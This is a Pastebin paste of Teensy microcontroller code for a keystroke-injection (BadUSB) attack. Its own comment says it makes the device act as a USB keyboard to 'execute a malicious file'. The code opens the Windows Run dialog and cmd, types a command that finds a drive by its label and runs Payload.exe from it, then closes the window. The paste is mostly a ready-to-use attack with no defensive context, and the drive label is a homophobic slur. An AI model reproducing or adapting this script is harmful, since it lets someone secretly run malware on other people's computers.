Advertisement
Xylitol

Teensy keyboard

Mar 23rd, 2014
597
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* Simple USB AutoRun Keyboard Example
  2.    Teensy becomes a USB keyboard and execute a malicious file
  3.    You must select "Disk(Internal) + Keyboard" from the "Tools > USB Type" menu
  4.    Don't forget also to select your correct keyboard layout in the menu
  5. */
  6.  
  7. void setup()
  8. {
  9. delay(7000); // 7 seconds delay
  10.  
  11. Keyboard.set_modifier(MODIFIERKEY_GUI); // Holds down the Windows Key
  12. Keyboard.send_now();
  13.  
  14. Keyboard.set_key1(KEY_R); // Now holds down the R key, opening Run
  15. Keyboard.send_now();
  16.  
  17. Keyboard.set_modifier(0); // Release modifier key
  18. Keyboard.set_key1(0); // Release the keys
  19. Keyboard.send_now();
  20.  
  21. delay(500); // 500 miliseconds delay
  22. Keyboard.print("cmd"); // Type in "cmd" into Run
  23. Keyboard.set_key1(0);
  24. Keyboard.set_key1(KEY_ENTER); // Press enter to open cmd
  25. Keyboard.send_now();
  26.  
  27. Keyboard.set_key1(0);
  28. Keyboard.send_now();
  29. delay(500); // 500 miliseconds delay
  30. Keyboard.print("for /f %d in ('wmic volume get driveletter^, label ^| findstr \"iFaggot\"') do %d\\Payload.exe"); // search for the drive name and gets the drive letter then execute the payload
  31. Keyboard.set_key1(KEY_ENTER); // Press enter to execute the command
  32. Keyboard.send_now();
  33. Keyboard.set_key1(0);
  34.  
  35. delay(200);
  36. Keyboard.send_now();
  37. Keyboard.print("exit"); // Use this command to exit CMD
  38. Keyboard.set_key1(KEY_ENTER);
  39. Keyboard.send_now();
  40.  
  41. Keyboard.set_key1(0);
  42. Keyboard.send_now();
  43. }
  44. void loop() {} // Runs this until the USB is plugged out, it's better to run the above command once than to loop it...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement